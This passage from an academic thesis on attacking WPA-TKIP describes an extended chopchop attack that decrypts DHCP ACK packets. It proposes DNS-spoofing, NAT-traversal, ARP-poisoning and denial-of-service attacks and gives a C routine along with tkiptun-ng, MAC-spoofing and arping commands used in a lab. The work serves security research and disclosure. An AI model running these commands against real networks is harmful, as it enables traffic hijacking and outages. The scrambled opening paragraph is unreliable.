we can see that after performing a modified Chopchop attack on 26% of the packet (i.168. we explained that the ARP protocol maps IP addresses to physical MAC addresses. the IP addresses on a local area network are within a predictable range. In this case. Within a standard key interval of 60 minutes. 3.16.0.0.0/16. the attacker needs to know the MIC key.11 headers.168. the rest of the packet is guessed and then verified by calculating the CRC-32 value and comparing it to the already chopchopped ICV value. By prioritizing the guessing algorithm to the most popular IP addresses.0.2.

2: Tkiptun-ng successfully decrypts an ARP packet 3. given the MIC and plaintext. the attacker can create custom packets. it turns out that it is possible. In order to inject a packet.3 Limitations As previously mentioned. encrypt the packet and inject it back into the network. the MIC key can easily be retrieved. the attack on TKIP is not a key recovery attack. Thus. The attack is able to recover the keystream and the MIC key of an ARP packet after performing a modified version of the Chopchop attack and guessing the remains of the packet. In fact. Given the keystream and the MIC key.64 Beck and Tews’ Attack on TKIP was never designed to be a one-way function with the same strength as a cryptographic hash function. by reversing the MIC algorithm. Figure 3. the . calculate the MIC. to reverse the algorithm as fast as one can do a forward calculation.

ICMP and DNS. there are several limitations to this attack. the TSC cannot be changed after the keystream has been obtained.Application Areas 65 packet must be smaller or the same size as the obtained keystream. Beck and Tews mention that an attack can trigger IDS systems at the IP layer [10]. 3 This depends on how QoS is implemented in the network. Since ARP packets are one of the smallest packets used. This has to do with the fact that MIC failure reports only are sent from STAs. The challenge is to prevent the STA from receiving the data the attacker chooses to Chopchop. In addition. Even so. The attack can therefore only recover AP-to-STA keystreams. Furthermore. 3. Additionally. the STA must be disconnected during the attack to prevent the TSC to increase. This means that rather than exploiting the confidentiality of the network. the attack could be used to attack control information. and cannot be verified at this point. only the remaining channels will. packets can only be injected in one direction. However. The attack on TKIP cannot be used to decrypt and read the contents of the communication flow.9 .19). it is limited to injection of 3-15 packets. Beck and Tews [10] states that the attack seems to be possible on non-QoS enabled networks as well. channel 0) is used to send regular data. The attack is limited to networks with QoS/WMM enabled. one on each of the remaining QoS channels. APs that have QoS turned off. Since the TSC is used as one of many inputs when producing the keystream (see Figure 2. DHCP. will be immune against the current implementation of the attack. Examples of such signaling protocols are ARP. as most of the mentioned protocols use packets larger than ARP. this greatly limits the application areas of this attack. see Section 2. there are limitations on how many packets can be injected and in which direction. This attack mode was not implemented in the first version of the tkiptun-ng tool. one on each of the other QoS channels. As there are 4-163 QoS channels from which the first (i. Hence. have a TSC which is lower than the TSC of the packet captured on channel 0.4 Application Areas As described in the previous section. thereby only allowing the attacker to inject packets to the STA. Additionally.e. only a maximum of 3-15 packets can be injected. although details on this are not provided. the attack is only limited to affect the ARP protocol. Instead. with high probability.

which is a vital part of the routing and addressing on a network. CCMP.66 Beck and Tews’ Attack on TKIP 3. This will not break the confidentiality of the network.3. which will make the AP lock out all STAs and force a key renewal.5 Countermeasures There are several ways one could avoid this new attack on TKIP. as this interval defines how long a PTK is valid. The best and most obvious solution would be to migrate away from TKIP and start using the more secure solution. but could cause much confusion in the routing. is an ARP poisoning attack as described in Section 2. by reducing this interval to less than 10 minutes. Another option is to fix or modify TKIP to prevent the attack from ever happening. The attack relies entirely on this interval being larger than the time the attack needs to succeed. the attacker could corrupt the ARP cache.4. that the OpenBSD team already has . Rather than trying to fix the weaknesses of another protocol.10. The attack also relies on the MIC failure report frames in order to detect when the correct byte was guessed during the modified Chopchop attack. In Section 3. Thus.4.1 ARP Poisoning An example of an attack on the ARP protocol. as the MIC failure report is sent from the STAs rather than the AP. Beck and Tews [32] pointed out in their latest paper. this may not be an option for older equipment that was hardware implemented to only support WEP and TKIP. Another would be to shorten the key renewal interval. It would be trivial to implement a Denial-of-Service attack based on this exploit. it would require all STAs to implement this countermeasure. One solution would be to simply disable QoS in the network. though not backwards compatible to WEP. CCMP is briefly described in Section 2. Section 6. the attacker would not even be able to decrypt the entire ICV. 3. one could intentionally enforce the MIC countermeasures. Beck and Tews [10] suggest using an even shorter interval of 120 seconds or less. CCMP was designed bottom-up to be a secure alternative.2 Denial-of-Service Using the modified Chopchop attack.3. A more detailed description of our implementation of an ARP poisoning attack can be found in Section 6. However.7.1 several requirements for the attack to succeed were mentioned.4 describes how we modified the existing code to act as a DoS attack on the wireless network. 3. the attack would be impractical. By doing this. as this is one of these requirements. However. Upon performing an ARP poisoning attack.

is to refrain from sending the MIC failure report frames until two MIC failures have occurred. the STA will send two MIC failure report frames to the AP. The way it functions.Countermeasures 67 implemented a countermeasure for this attack in their client stack. which will make the AP activate the MIC countermeasures. MIC countermeasures will continue to work as usual. because when the second MIC failure occur. . By doing this. At the same time. the attacker cannot use the MIC failure report frames to detect when he guessed correctly.

68 Beck and Tews’ Attack on TKIP .

The attack is still only limited to injection of AP-to-STA packets. we determined the for69 . but rather an extension of the code of the tkiptun-ng tool. which typically are in the range of 330 to 584 bytes in size. even though it can be up to 584 bytes in size. the obtained keystream is correspondingly small and thus limited to injection of ARP packets only. clients will typically send DHCP and ARP requests to configure the network. the AP will then respond with a DHCP ACK to acknowledge the request. We must emphasize that it is still only meant as a proof-of-concept attack and is not designed to work with a generic set of equipment. the enhancement being the injection of a wider variety of much larger packets.Chapter 4 An Improved Attack on TKIP The current attack by Beck and Tews [10] is limited to decrypt AP-to-STA ARP packets. upon connecting to a new network. 4. Looking into these messages. de-authenticated by the attacker) and tries to reconnect to the network. This improved attack is not a re-implementation. Upon further investigation of the DHCP ACK. This will enable an attacker to perform more sophisticated attacks as he is no longer limited to injection of ARP packets only. which in many cases make up most of the data in the packet.11. we discovered that the DHCP ACK message contains almost no unknown data.e. In most cases. DHCP ACK messages are sent as confirmations to a DHCP request.1 The DHCP ACK Message As described in Section 2. it will typically send a DHCP request for the same IP address it was previously assigned. In this chapter we will present a way of decrypting larger DHCP ACK packets. When a STA has been disconnected from the network (i. The reason for this is the extensive use of 0-padding. Since ARP packets are some of the smallest packets used in a network.

however.11 34 bytes Data 330 . is that while the entire data part of an ARP packet can be guessed.2 The Attack in Details The improved attack is an extension of the tkiptun-ng tool. This means that rather than performing a modified Chopchop attack followed by . the MIC and the ICV. options and IP ranges of packets coming from a specific AP/router.584 bytes MIC 8 bytes ICV 4 bytes Trans. we have a remaining 16 unknown bytes. It is. The major difference between the original attack and our extension. as illustrated in Figure 4. Encrypted IEEE 802. As this field is 32 bits in length. which is a part of the Aircrack-ng suite [7]. we would obtain the IP addresses of the STA and AP. possible to overcome this problem by looking at the BSSID of the AP. ID 4 bytes Unknown bytes MIC 8 bytes ICV 4 bytes Figure 4.70 An Improved Attack on TKIP mat of these messages to be manufacturer specific.1.. which could be further used as known plaintext in the DHCP ACK packet. only parts of a DHCP ACK packet can be guessed. a Linksys router will respond with the same format of this message.g. could give a good indication of the format. as the DHCP ACK packet contains an unknown Transaction ID field in the middle of the packet. Now. the Transaction ID. Given that we know the manufacturer specific format for the DHCP ACK. guessing this field is infeasible. length. This means that e. which in combination with a database on how different router manufacturers format their DHCP ACKs.1: An encrypted DHCP ACK packet with 16 unknown bytes 4. By running Beck and Tews’ attack [10] on an ARP packet first. The BSSID yields information about the manufacturer. the only bytes that cannot be determined are the IP addresses. while another manufacturer may respond differently.

crc_chop_tbl[guess][2]. data_end . This simulate_chopchop function demands very little processing power. . The remaining parts of the chopped array contain the keystream. which is an essential part of the extended attack. return data_end. int data_end) { int guess = chopped[data_end .1] ^ plaintext. i.1]). we can skip the communication with the STA and the 60-second waiting delay between each packet. the IP and UDP header checksums must be calculated and inserted at the appropriate positions. crc_chop_tbl[guess][1]. Below is the simulate_chopchop function. data_end is the index of the previously chopped byte. chopped[data_end . chopped[data_end . this function merely assumes that a correct guess has been made.1] ^ srcbuf[data_end . int plaintext.e. At this point. crc_chop_tbl[guess][0].1] ^ srcbuf[data_end . data_end--.1]. Hence. Since we know the next plaintext byte. we must be able to continue a modified Chopchop attack after inserting some bytes of known plaintext. Additionally. since we know the bytes. The Simulate chopchop step can be considered to perform these calculations. and the calculations of the different header checksums are not a part of this flowchart. printf( "\r[Simulate Chopchop] Offset %4d | xor = %02X | pt = %02X\n". int simulate_chopchop(uchar *chopped. we must simulate a modified Chopchop attack in order to keep the state of the chopped array up to date. In order to be able to continue the Chopchop attack after inserting known bytes. and completes in a negligible amount of time.2 shows a flowchart explaining how our improved attack on TKIP operates. crc_chop_tbl[guess][3]. } Figure 4. The srcbuf array contains the entire captured packet. the ciphertext. Also note that this is a simplified flowchart. it is not necessary to validate the guess.The Attack in Details 71 guessing the remains of the packet. and updates the arrays the same way as when a regular correct guess has been made.1. The chopped array contains the ciphertext of the captured packet up to the previously chopped byte. chopped[data_end chopped[data_end chopped[data_end chopped[data_end chopped[data_end 1] 2] 3] 4] 5] ^= ^= ^= ^= ^= guess. It allows the attacker to insert bytes of known plaintext into the chopped array.

72 An Improved Attack on TKIP START De-authenticate a STA Capture DHCP ACK packet Yes Reached end of packet? No Is next byte known? Verify ICV No Reverse the MIC key Chop next byte Yes Simulate chopchop Guess byte Yes DONE Received MIC Failure Report? No Number of guesses < 256? Yes No Wait 60 seconds Wait 60 seconds Figure 4.2: A flowchart of our improved attack on TKIP .

30-35 minutes in an optimal environment.3 Application Areas The improved attack is able to decrypt a DHCP ACK packet from a Linksys WRT54GL Wireless router. only 16 bytes (ICV + MIC + Transaction ID) are unknown. DNS. the client must first have sent a DHCP Request to the router. from which the DNS server will respond with the corresponding IP address of that domain name. this will probably take even longer to complete. the attacker will respond with a fake DNS reply to the client.3. providing the client with an IP address to a malicious server. ICMP. before the DNS server have time to respond. In total. ARP and more. Additionally. the client will accept DHCP ACK packets from the . Simply injecting a malicious DHCP ACK packet into a network would do no harm. a real world scenario. in an optimal setting. this attack would not work with the improved attack on TKIP. the IP Address of the DNS server could easily be spoofed to an IP Address of a malicious DNS server. However. we discovered that the DHCP ACK sent in response from the AP to a STA contains the IP Address of the DNS server. the original ARP attack by Beck and Tews must first be run to get information about the IP addresses of the AP and the STA. Thus. 596 bytes of keystream are significantly more (12. However.4x more) than the 48 bytes of keystream recovered from the original attack by Beck and Tews [10]. Having sent a DHCP request. Since this requires interception of traffic in both directions. as all clients would reject it. 4. Although the packet has a size of 596 bytes.Application Areas 73 4. DHCP. The common way to exploit DNS information is to listen for outgoing DNS requests from a client. Now. Their main task is to translate domain names into IP addresses. Clients request a domain name to a DNS server. While their attack was limited to inject ARP packets only. the attacker would then have 15-25 minutes until the keystream and MIC key become invalid. the attacker is able to recover 596 bytes of keystream within around 18-19 minutes. We will now present some new possible application areas for this improved attack as a consequence of the larger obtained keystream. with 596 bytes of keystream the possibilities become overwhelming. Then. If one could make a client accept such a packet. In order for a client to accept such a packet. On an AP with a key renewal interval set to 60 minutes. it is possible to inject almost all kinds of traffic concerning control information such as TCP SYN/ACK.1 DHCP DNS Attack Domain Name System (DNS) servers are an essential part of the Internet infrastructure. these two attacks can be estimated to take around 40-45 minutes to complete.

74 An Improved Attack on TKIP router with the same Transaction ID as the DHCP Request. This is not sufficient to create an IP conflict. the attacker would need a way of forcing a client to renew its DHCP settings.5.9. one could predict the value of successive DHCP ACK messages.3: A sequence diagram showing a DHCP DNS attack and the message exchange after the occurrence of an IP conflict From our experiment2 . As described in Section 2. Some operating systems1 simply increment this Transaction ID for every new packet. Figure 4. the attacker would need to inject four packets. the attacker would be left with only three QoS channels to inject packets. the client would accept it and reject the real message coming from the router. and one already being used for regular data. by looking at the Transaction ID of the decrypted DHCP ACK packet. one could in advance prepare a malicious DHCP ACK response and inject it into to the network at the very moment a DHCP request is observed. then use the keystream of 1 2 We observed this behavior in Mac OS X 10. By observing the behavior of the client.3 shows the DHCP message exchange after the occurrence of an IP conflict. IP conflict STA #1: DHCP Decline #2: DHCP Discover #3: DHCP Offer #5: DHCP ACK with spoofed DNS server IP #4: DHCP Request #6: DHCP ACK AP (BROADCAST) Figure 4.5. in order to create an IP conflict at a STA by sending fake gratuitous ARP requests to the STA.6 The STA was running Mac OS X 10. To mount such an attack. the figure also shows when the attacker must inject his fake DHCP ACK packet to be able to spoof the DNS server. he could first use the keystreams of the packet with the lowest TSC. due to WMM only offering four different QoS channels. if the attacker would be able to get keystreams for two packets with different TSC. However. Assuming that this DHCP ACK packet has a valid transaction ID. Hence.6 . This is possible by injecting fake Gratuitous ARPs tricking the client into believing that an IP conflict has occurred on the network.

START De-authenticate a STA Capture DHCP ACK packet TSC = X Capture ARP packet TSC = Y (Y > X) Original attack on TKIP Result: . it would not cause any additional time overhead.596 byte keystream for TSC=X TSC X: Inject ARP to STA on QoS channel 1 TSC X: Inject ARP to STA on QoS channel 4 TSC Y: Inject ARP to STA on QoS channel 1 TSC Y: Inject ARP to STA on QoS channel 4 STA IP conflict Wait for DHCP Request from STA TSC X: Inject fake DHCP ACK to STA on QoS channel 6 DONE Figure 4.4 shows the different steps in such an attack.AP IP Address . Figure 4.48 byte keystream for TSC=Y Chopchop ARP packet Chopchop DHCP ACK packet Improved attack on TKIP Result: .DHCP Transaction ID .Application Areas 75 the packet with the highest TSC.STA IP Address .MIC Key .4: Flowchart showing a DHCP DNS attack . but since he would need to chop two packets (ARP + DHCP ACK) for this attack anyway. The attacker would of course need to chop two different packets.

0. AP Malicious Server IP: 10. IP: 1.2 #2 SYN/ACK: Dst. The external machine will then receive the TCP SYN/ACK and can act correspondingly.4 Figure 4. is a NAT Traversal attack.4 STA YN #1 S : Ds t.5: NAT traversal attack using TCP SYN packets to open a port in the firewall of the router.port 666.76 An Improved Attack on TKIP 4.2 NAT Traversal Attack Another attack that seems possible when limited to injection of AP-to-STA packets only.2. this attack will reveal the Internet IP address of the network. as illustrated in Figure 4. The machine on the internal network will then respond with a TCP SYN/ACK packet.3. allowing external machines to communicate with a machine on the internal network .port S =80.1 IP: 1. Additionally.5.0.2 .3.4 #3 NAT map: port 666 for IP 1. IP : 1.4 Internet IP: 10.0.2.3. which could be useful in other scenarios as well.0.3.3. Attacker Wireless Network rt=6 rc.po 66. The idea behind this attack is to inject a fake TCP SYN packet that appears to originate from an external IP address at a specific TCP port. which in turn will force the router to establish a NAT mapping between the internal and external ports and IP addresses. The attacker will now be able to send traffic directly to the internal client on the open port in the firewall. This could for instance be used to exploit some unpatched vulnerability at the client.2.

5 will describe the problems with different hardware and software in greater detail. The attacker is not connected to any network.1 Hardware The hardware used in the experiments consists of three entities: the victim. Additionally. a Linksys wireless router was used. the most critical requirement being the support of 802. The exact specifications of the laboratory environment are essential in order to reproduce the same results as we obtained during our research. but has a wireless network card that is able to operate in monitor mode and thus perform all types of wireless attacks. The victim computer should reflect a typical user or consumer connected wirelessly to the AP.11e QoS/WMM.Chapter 5 Laboratory Environment This chapter will describe the hardware and software used in our laboratory environment. the attacker and the access point.6 and 7. For our experiment. the victim uses an Apple MacBook laptop. The reason for choosing this particular hardware was because the success rate of attacking such a computer was higher in the initial experimental phase compared to other types of available hardware. 77 . 5. Section 6.

IEEE 802.78 Laboratory Environment 5.0 Table 5.2 00:22:B0:5F:88:4C Table 5.11abg .3.2 Access Point Linksys WRT54GL v1. RADIUS 00:18:39:C6:4F:96 00:18:39:C6:4F:94 Model Firmware Supported Standards Wireless Security BSSID Router MAC Address Table 5. IEEE 802. WPA/WPA2 Enterprise. Broadcom (5.11g.38.1.0. 17.1 Computers The Victim Model CPU Memory Operating System Wireless Interface MAC Address Apple MacBook4.k2wrlz modifications 3. IEEE 802. WPA/WPA2 Personal.11b.11e QoS/WMM WEP.27-14-generic D-Link DWL-G122 USB Adapter (Ralink chipset RT73) Ralink RT73 802.11.6 AirPort Extreme.27) 00:23:12:02:E1:F9 BCM43xx 1.6.3u.30.60 GHz 1 GB Ubuntu Release 8. 2007 IEEE 802.1 GHz 4 GB Mac OS X 10. IEEE 802.1 Intel Core 2 Duo 2.1: Specifications of the victim’s computer The Attacker Model CPU Memory Operating System Linux Kernel Wireless Card Wireless Driver MAC Address Dell Optiplex GX270 Intel Pentium 4 2.1.5.3: Specifications of the access point .10 2.2: Specifications of the attacker’s computer 5.1 v4.10. Aug.

as well as explaining the most useful command line tools like ifconfig and iwconfig and how these are used in the experiments. This section will give a brief presentation of the most important tools of the suite. an implementation of Beck and Tews’ attack on TKIP. The most important tool of the suite is arguably the aircrack-ng tool itself. are listed in Table 5. This is a requirement for most attacks.4. . especially for the Linux platform. replay attacks and more. to perform network analysis. The aireplay-ng tool is used in attacks that rely on traffic injection. which is able to perform a key recovery attack in a matter of seconds (see Section 2. Aircrack-ng also provides a tool to enable monitor mode on a WLAN interface. The tool implements the PTW attack for WEP. including tools for sniffing and cracking wireless traffic. For WPA/WPA2-PSK networks. 5. Chopchop and others. airmon-ng. such as de-authentication. packet forgery. The aircrack-ng tool relies on traffic captured using the included airodump-ng tool or any other network traffic capture tool. All the tools of the suite. There exist much software. To capture and inject raw 802. we refer to the Aircrack-ng home page [7]. This tool is used for the actual cracking of WEP and WPA-PSK networks. together with a short description. monitor mode must be enabled. This page contains detailed guides and tutorials on how to set up and use the Aircrack-ng suite. The suite also contains tkiptun-ng. We will describe software suites like aircrack-ng and wireshark. The last tool that is worth mentioning is packetforgeng.1 The Aircrack-ng Suite Aircrack-ng is an 802. In this section we will describe our software toolkit when working with network security.Software 79 5.11 security software suite based on open source [7].5). the tool relies on brute force or dictionary attacks.2 Software Software is an important part of the laboratory environment when working with network security. The packetforge-ng tool does not yet support generation of encrypted TKIP packets.11 traffic. For information about usage of these tools. which is used to generate forged encrypted packets that can be injected into the network.2. Aircrack-ng consists of several different command-line tools for auditing wireless networks.

.1.4: Tools of the Aircrack-ng Suite 5. and wireshark will display a live capture preview in its GUI.80 Tool Name airbase-ng aircrack-ng airdecap-ng airdecloak-ng airdriver-ng aireplay-ng airmon-ng airodump-ng airolib-ng airserv-ng airtun-ng easside-ng packetforge-ng tkiptun-ng wesside-ng Laboratory Environment Description Multi-purpose attack tool aimed at STAs (Under development) WEP and WPA-PSK key-cracking tool Capture file decryption tool Tool to remove WEP cloaking from capture files (Under development) Wireless driver tool (Under development) Frame injection tool Tool to enable monitor mode on wireless interfaces Packet capturing tool Password and ESSID storage tool (Under development) Server tool that allows applications to use the wireless interface (Under development) Tool to create virtual tunnel interfaces Automatic tool used to communicate with a WEP network without knowing the key (Under development) Tool used to generate encrypted packets Implementation of Beck and Tews’ attack on TKIP (Under development) Automatic tool for WEP key cracking (Under development) Table 5. There also exist patches and extensions for supporting for instance re-injection of packets upon inspection or modification. as seen in Figure 5. a user can create filtering rules and thus easier detect the desired frames. It provides a graphical user interface (GUI) with human readable interpretation of the binary frames being captured from the network. Wireshark also supports an extensive set of output filtering.2. By doing this. The user can select which interface to listen to. It is commonly used to capture all traffic from a desired network interface. Frames of data could in turn be saved as files to be used with other programs for injection or modification.2 Wireshark Wireshark [36] is an open source network tool used to inspect and analyze network traffic.

3 Command Line Tools In addition to the tools mentioned above. ifconfig Ifconfig is a built-in command in all Unix based system. It stands for Interface Configurator. There also exists a command line tool called macchanger. there exist several useful command line tools that can be very useful in order to perform attacks on networks. and 00:11:22:33:44:55 is the fake MAC address that the interface is set to. It can be used to change several parameters related to network interfaces such as IP addresses. spoof) a MAC address of the interface rausb0.e.2. the following command can be issued: ifconfig rausb0 down # Deactivate the interface ifconfig rausb0 hw ether 00:11:22:33:44:55 # Change the MAC address ifconfig rausb0 up # Activate the interface where rausb0 is the name of the interface. We will now describe the essential tools that we have been using.Software 81 Figure 5. network mask addresses and MAC addresses. to change (i. which automates . For instance.1: Screenshot of Wireshark live capture 5.

This is done with the following command: iwconfig rausb0 mode monitor channel 6 where rausb0 is the name of the interface and 6 is the desired wireless channel.1. SSID.168. power and more.82 the commands above in one single command: macchanger -m 00:11:22:33:44:55 rausb0 iwconfig Laboratory Environment Iwconfig is a part of the Wireless tools for Linux. frequency.101 -c 4 -i en1 192. This command will produce an ARP request where the source and destination IP are identical. the OS must receive four ARPs indicating an IP conflict.1. but the MAC addresses differ. the receiver will assume that another machine has the same IP as itself. by issuing the following command: sudo arping -S 192. and en1 is the network interface to send the packets on. In order to perform an attack. the attacker must set the wireless interface in monitor mode. which is a package of command line tools for configuring wireless devices. to trigger a DHCP renewal on Mac OS X. thus making it possible to send fake requests that initiate IP conflicts. . Iwconfig is used similar to ifconfig. As an example.1. This enables the attacker to inject and capture packets without being associated with the AP.168. The parameter -c 4 indicates that we want to send four packets. Thus. arping Arping is a command-line tool used for sending ARP requests and display the replies.101 is the IP address of the computer we want to trigger an IP conflict at.168. The tool can be used to specify all parameters of the ARP request. but changes wireless specific parameters such as channel.101 Where 192.

First we had to change the MAC address of our interface to the one of the STA being attacked: ifconfig rausb0 down macchanger -m 00:23:12:02:E1:F9 rausb0 ifconfig rausb0 up Where rausb0 is the WLAN interface being used. an initialization procedure was carried out. This does also reflect the fact that we worked iteratively during this process. we feel it is necessary to explain some of the discoveries and enhancements we made during the experimentation. This procedure applies to all experiments conducted. we will verify our own improved attack on TKIP. 83 .Chapter 6 Experiments Experiments are an essential part of scientific research. we will describe how we extended the code into performing specific attacks. To ease the readability of this chapter. The last part will describe how we experimented with different hardware and software environments. It was also needed to set the interface in monitor mode and on the same channel as the network: iwconfig rausb0 mode monitor channel 6 Where 6 is the WLAN channel of the target network. we will in this chapter first present how we verified the original attack by Beck and Tews [10]. 6. This chapter begins by presenting the iterative method employed during our work. which is able to reveal larger amounts of keystream. Using this method. Next. Then.1 Preparations for the Attacks To prepare our attack system. And 00:23:12:02:E1:F9 is the Ethernet MAC address of the STA being attacked.

The tool will then attempt to resend the packet on another QoS channel as a verification of the attack. tkiptun-ng would then restart the guessing upon trying all 256 permutations of a byte. The main reason for the low success rate of the original tkiptun-ng. The reason for this was that the attacker failed at detecting the MIC Failure report.0rc2 (Released January 23. The attack was then executed with the command: tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 rausb0 Where 00:18:39:C6:4F:96 is the BSSID of the network. in early development.7.6. and as a result.84 Experiments 6. Tkiptun-ng implements the attack by attempting to obtain a valid keystream and MIC key for AP to STA communication. as of May 2009. During testing it was obvious that the tool was in early development. and consequently generate new cryptographic keys as explained in Section 2. This caused two frames with incorrect MIC to be received by the STA in less than one minute. To improve on this behavior.2 Verification of the Original Implementation The proof-of-concept implementation of Beck and Tews’ attack on TKIP is called tkiptun-ng. In effect. and the success rate of our experimentation varied. the wireless network would be deactivated for one minute. The tkiptun-ng version used was the one included in Aircrack-ng 1. Tkiptun-ng was added to the Aircrack-ng suite in November of 2008. This section will describe our practical verification of tkiptun-ng. We also observed that an ARP request was injected in the network on another QoS channel. we modified tkiptun-ng to wait for one minute if no MIC Failure Report was detected after the first 256 guesses. This small improvement proved to significantly increase the success rate of the attack. This is accomplished by decrypting an ARP packet destined for the STA by using the Chopchop-like approach as described in Section 3. The tool is still. thus proving that the keystream and MIC key was correct. thus triggering the MIC countermeasures. and is written by Martin Beck. In this experiment we used the hardware as described in Section 5. was that it would often trigger the MIC countermeasures. and thus we obtained keystream and MIC key for AP to STA communication. the tool was able to complete after several attempts.2. Even so. Our contribution was added to the aircrack-ng . 00:23:12:02:E1:F9 is the STA MAC and rausb0 is the WLAN interface.1. 2009).

Due to the limited number of QoS channels. Beck and Tews proposed that their attack could be used for ARP poisoning [10]. As a proof-of-concept. 00:23:12:02:E1:F9 is the STA MAC and rausb0 is the WLAN interface. The first implementation of the attack. The theory of the ARP protocol and ARP poisoning attacks was discussed in Section 2.4 Modifying tkiptun-ng Into a Cryptographic DoS Attack In Section 6. 85 6.aircrack-ng. the attack did no harm on the network being compromised. However. we have modified tkiptun-ng to send a forged ARP packet to the STA being attacked. Thus.7.Modifying tkiptun-ng Into an ARP Poisoning Attack repository1 after posting the suggestion on their web forum. associating the IP address of the default router to the MAC address of another STA on the network.6. a more sophisticated way of performing a DoS attack on a TKIP network is possible.3.1 is at 00:1C:B3:B5:71:43. Sustaining an ARP-based DoS attack is therefore not possible over a longer period of time.10. The attack was executed with the command: tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 rausb0 Where 00:18:39:C6:4F:96 is the BSSID of the network. tkiptun-ng.org/ticket/582 . only included a re-injection of a valid ARP packet. This packet will cause the ARP cache of the STA to be modified. This attack uses the keystream and MIC key obtained in the original TKIP attack to create a fake ARP packet.168. As described in Section 2. the attacker is limited in the number of packets that can be injected.3 Modifying tkiptun-ng Into an ARP Poisoning Attack In their paper. 6. the designers of 1 Link to trac-ticket for this improvement: http://trac. An ARP poisoning attack could act as a Denialof-Service (DoS) attack for a short period of time until the ARP cache has been automatically fixed. The code for this attack can be found in Appendix A.2. we described a proof-of-concept implementation of an ARP poisoning attack on TKIP.1. This packet contains the false information: 192.

However. It should be noted that this is in no way a novel approach. This gives the attacker significantly more keystream. The MIC countermeasures force the AP to shut down for 60 seconds and perform a re-keying if two or more MIC failure report frames are received within one minute. This section will describe how to perform the attack and the requirements related to it. the fact that the tkiptun-ng code makes it trivial to extend it into a working DoS attack should not be ignored. Appendix A. and can be found in Appendix A. To continue. . What the designers did not predict was that these MIC failure reports could be intentionally initiated through a modified Chopchop attack. before re-initiating the attack. Glass and Muthukkumarasamy [18] describe a similar attack in their paper from 2007. This will cause the AP to shut down and re-key. The attack was executed with the command: tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 rausb0 Where 00:18:39:C6:4F:96 is the BSSID of the network.1 contains a proof-of-concept modification of tkiptun-ng that continues the Chopchop procedure after the first MIC failure report frame was received.5 Verification of the Improved Attack As thoroughly described in Chapter 4. 6. the attacker would wait for 60 seconds upon receiving a MIC failure report to avoid triggering the MIC countermeasures. from which he can inject much larger packets into the network. we came up with an extension to the original attack by Beck and Tews. upon receiving a MIC failure report. which enables us to decrypt DHCP ACK packets which may be in the range of 300-600 bytes.86 Experiments TKIP realized that Michael was not sufficiently secure.3. and one more packet to trigger the MIC countermeasures. The attack itself is written as a proof-of-concept extension of the tkiptun-ng tool. this attack only need to send 22 = 128 packets on average to trigger the first MIC failure report. Hence. the goal of a DoS attack would be to do the exactly opposite. in total 129 packets on average. Nevertheless. Compared to other types of DoS attacks which usually requires high 8 bandwidth usage. the MIC countermeasures were implemented. In the original code. the attacker will just inject the same packet that triggered the MIC failure report once more. and as a consequence. namely to trigger the MIC countermeasures. the attacker must wait one minute for the AP to restart. 00:23:12:02:E1:F9 is the STA MAC and rausb0 is the WLAN interface.

1.1. 00:23:12:02:E1:F9 is the STA MAC and rausb0 is the WLAN interface. This section will give an overview of the different hardware and software setups.1 gives an overview of the different configurations that were used as the victim STA in these experiments. As this is a proof-of-concept code.Experimentation With Other Systems 87 To mount the attack. This was carried out in order to give a perspective on which systems to chose as the main laboratory environment.168. However. the implementation is specifically designed to work with a Linksys WRT54GL wireless router and has not been tested with other equipment. we added one additionally parameter.10 MacBook Pro MacBook Pro Windows XP Windows XP WLAN Adapter Broadcom RT73 Atheros RT73 Intel RT73 Table 6. a MacBook laptop with the built-in WLAN adapter was chosen as the main laboratory environment STA. 192. It is reasonably to assume that the attacker would be in possession of the client’s IP address upon running the original tkiptun-ng tool (ARP decryption).100 rausb0 Where 00:18:39:C6:4F:96 is the BSSID of the network. as described in Section 1.1: The different STAs used for experimentation . Table 6.5.100 is the IP address of the STA. System MacBook Ubuntu 8.6 Experimentation With Other Systems In addition to the laboratory environment described in Chapter 5. it should be possible to make the attack more generic. As described in Chapter 5. The attack was executed with the command: tkiptun-ng -a 00:18:39:C6:4F:96 -h 00:23:12:02:E1:F9 \ -I 192. experimentation with other hardware and software configurations was performed. 6.1. and the experiments carried out on these. as argued in Section 4. namely the IP address of the client. These experiments were also an essential part of the iterative method of research applied in this thesis.168.

D-Link DIR-655. miscellaneous APs were also tested. as well as the number of injectable QoS channels. The Linksys WRT54GL with original firmware was chosen as the main laboratory environment AP as detailed in Chapter 5. The results from these experiments are presented in Section 7.5. The setups were tested for compatibility with the original tkiptun-ng attack. namely the ability to force DHCP renewal and the predictability of the DHCP Transaction ID. These were the Linksys WRT54GL.org/ Hostapd homepage http://hostap. 2 3 OpenWRT website: http://openwrt.88 Experiments In addition to experimenting with various STAs. Hostapd3 is a piece of software that can make a Linux PC function as a wireless AP.10 with a wireless network card from 3Com Corporation using the Atheros AR5413 chipset.fi/hostapd/ .epitest. Hostapd and Linksys WRT54GL with OpenWRT firmware2 . Hostapd was installed on a computer running Ubuntu 8. In addition to this the setups were tested with parts of our improved attack.

the improved attack on TKIP. Our experimentation shows that the tkiptun-ng implementation works.2. the original implementation would fail quite often because it did not detect the MIC failure report frames sent by the STA. and then inject an ARP request into the network on a different QoS channel. we will present the results of our main contribution. It should be noted that this implementation. This included our own improvement to the attack.Chapter 7 Results Conducting scientific research culminates in results.1 Verification of the Original Attack As part of our experimentation we wanted to verify the implementation of Beck and Tews’ attack: tkiptun-ng. Consequently.2 and the theory behind the attack was thoroughly explained in Chapter 3.2. Finally. this modification was detailed in Section 6. at the time of testing. Next. was still in early development. It is able to obtain keystream and MIC key for AP-to-STA communication. starting with the verification of the original attack on TKIP. we will describe the outcome of the ARP poisoning attack and the cryptographic DoS attack. we observed that a few improvements were added to the tkiptun-ng tool in the aircrack-ng svn repository. The program would then start guessing the chopped byte over again. as described in Section 6. thus triggering the MIC countermeasures. It should 89 . The procedure carried out to execute this test was described in Section 6. While working on this thesis.2. 7. the results from experimenting with different configurations are presented. and that it will most likely undergo some improvements before it is declared complete. this chapter will present the main findings of our research. Then. As mentioned in Section 6. To avoid this we edited the program to wait one minute if 256 bytes were guessed without seeing a MIC failure report frame.

